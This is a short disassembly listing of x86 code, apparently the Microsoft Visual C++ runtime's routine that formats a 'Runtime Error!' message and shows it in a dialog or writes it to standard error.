test eax, eax
jne 0x40272f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00402d90
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004029a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x402772
lea eax, [ebp - 0x1a4]
push eax
call fcn.004029a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40541c
push edi
call fcn.00403e70
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00402d90
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00402da0
lea eax, [ebp - 0xa0]
push 0x4053fc
push eax
call fcn.00402da0
push dword [esi + 0x406404]
lea eax, [ebp - 0xa0]
push eax
call fcn.00402da0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00403dde
add esp, 0x2c
pop edi
jmp 0x4027f5
lea eax, [ebp + 8]
lea esi, [esi + 0x406404]
push 0
push eax
push dword [esi]
call fcn.004029a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret